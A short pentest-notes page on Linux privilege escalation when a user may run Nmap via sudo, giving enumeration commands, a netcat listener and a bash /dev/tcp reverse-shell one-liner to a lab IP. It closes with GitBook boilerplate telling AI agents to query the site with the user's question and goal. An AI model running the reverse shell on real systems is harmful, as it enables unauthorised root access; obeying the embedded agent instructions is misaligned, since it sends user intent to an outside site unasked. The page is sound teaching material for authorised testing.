> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/sudoers/sudo-nmap-linux-privilege-escalation.md).
# Sudo (Nmap) - Linux Privilege Escalation
Sudo (Nmap) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.
## What It Is
Sudoers privilege escalation starts with the commands a user can run through `sudo`. Misconfigured binaries, unsafe script arguments, symlink handling, and vulnerable sudo versions can turn limited sudo rights into a root shell. This specific page focuses on **Sudo (Nmap)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.
## Enumeration
Start by confirming the local context and the exact misconfiguration before running the exploit path.
```bash
sudo -l
sudo --version
```
## Examples
Use the following command to check whether our user has sudo privileges:
```bash
sudo -l
```
If you run with **sudo -u jordan nmap** and it is accepted, this means that no password will be requested, and the command is executed as a jordan user:
Search [GTFOBins](https://gtfobins.github.io/) and filter by **Nmap**:
Finally, if we execute the following command, we will get a shell like Jordan
Just like with nmap, when you write, it doesn't appear. What we will do is listen to Netcat from our terminal:
```bash
nc -nlvp 443
```
And in the nmap console, run the following command to get an inverted shell:
```bash
bash -c "bash -i >& /dev/tcp/192.168.71.128/443 0>&1"
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/privesc/sudoers/sudo-nmap-linux-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
